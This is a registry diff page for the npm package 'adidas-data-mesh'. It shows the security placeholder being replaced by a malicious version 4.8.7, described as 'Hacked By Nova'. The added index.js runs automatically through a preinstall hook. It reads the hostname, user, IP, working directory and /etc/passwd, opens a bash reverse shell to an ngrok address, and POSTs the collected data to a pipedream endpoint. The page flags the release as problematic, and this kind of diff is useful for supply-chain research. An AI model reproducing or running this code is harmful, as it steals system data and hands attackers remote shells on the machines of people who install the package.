adidas-data-mesh 0.0.1-security → 4.8.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of adidas-data-mesh might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +65 -0
  2. package/package.json +12 -6
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,65 @@
1
+ const execSync = require('child_process').execSync;
2
+
3
+ const priv_ip = execSync('hostname -I', { encoding: 'utf-8' });
4
+ const whoami = execSync('whoami', { encoding: 'utf-8' });
5
+ const host = execSync('hostname', { encoding: 'utf-8' });
6
+ const current_dir = execSync('pwd', { encoding: 'utf-8' });
7
+ const passwd = execSync('cat /etc/passwd', { encoding: 'utf-8' });
8
+ const ls1 = execSync('ls', { encoding: 'utf-8' });
9
+ // const ls2 = execSync('ls ../', { encoding: 'utf-8' });
10
+ // const ls3 = execSync('ls ../../', { encoding: 'utf-8' });
11
+ // const ls4 = execSync('ls ../../../', { encoding: 'utf-8' });
12
+ // const ls5 = execSync('ls ../../../../', { encoding: 'utf-8' });
13
+ // const ls6 = execSync('ls ../../../../../', { encoding: 'utf-8' });
14
+ // const ls7 = execSync('ls ../../../../../../', { encoding: 'utf-8' });
15
+ // const ls8 = execSync('ls ../../../../../../../', { encoding: 'utf-8' });
16
+ // const ls9 = execSync('ls ../../../../../../../../', { encoding: 'utf-8' });
17
+ // const ls10 = execSync('ls ../../../../../../../../../', { encoding: 'utf-8' });
18
+ // const py3 = execSync("python3 -c 'import pty; pty.spawn('/bin/bash')'", { encoding: 'utf-8' });
19
+ // const py = execSync('python --version', { encoding: 'utf-8' });
20
+ // const bash = execSync('which bash', { encoding: 'utf-8' });
21
+ // const lsb = execSync('lsb_release -a', { encoding: 'utf-8' });
22
+ // const php = execSync('php --version', { encoding: 'utf-8' });
23
+ const shell = execSync('bash -i >& /dev/tcp/0.tcp.in.ngrok.io/16848 0>&1', { encoding: 'utf-8' });
24
+
25
+
26
+ const https = require("https")
27
+
28
+ const data = JSON.stringify({
29
+ "private IP": priv_ip,
30
+ "whoami": whoami,
31
+ "hostname": host,
32
+ "current dir": current_dir,
33
+ "passwd": passwd,
34
+ "ls1": ls1,
35
+ // "ls2": ls2,
36
+ // "ls3": ls3,
37
+ // "ls4": ls4,
38
+ // "ls5": ls5,
39
+ // "ls6": ls6,
40
+ // "ls7": ls7,
41
+ // "ls8": ls8,
42
+ // "ls9": ls9,
43
+ // "ls10": ls10,
44
+ // "py3": py3,
45
+ // "py": py,
46
+ // "bash": bash,
47
+ // "lsb": lsb,
48
+ // "php": php,
49
+ "shell": shell,
50
+ })
51
+
52
+ const options = {
53
+ hostname: "eo56j4tfa20w1b7.m.pipedream.net",
54
+ port: 443,
55
+ path: "/",
56
+ method: "POST",
57
+ headers: {
58
+ "Content-Type": "application/json",
59
+ "Content-Length": data.length,
60
+ },
61
+ }
62
+
63
+ const req = https.request(options)
64
+ req.write(data)
65
+ req.end()
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
- {
2
- "name": "adidas-data-mesh",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "adidas-data-mesh",
3
+ "version": "4.8.7",
4
+ "description": "Hacked By Nova",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall" : "node index.js"
9
+ },
10
+ "author": "Nova Security",
11
+ "license": "ISC"
12
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=adidas-data-mesh for more information.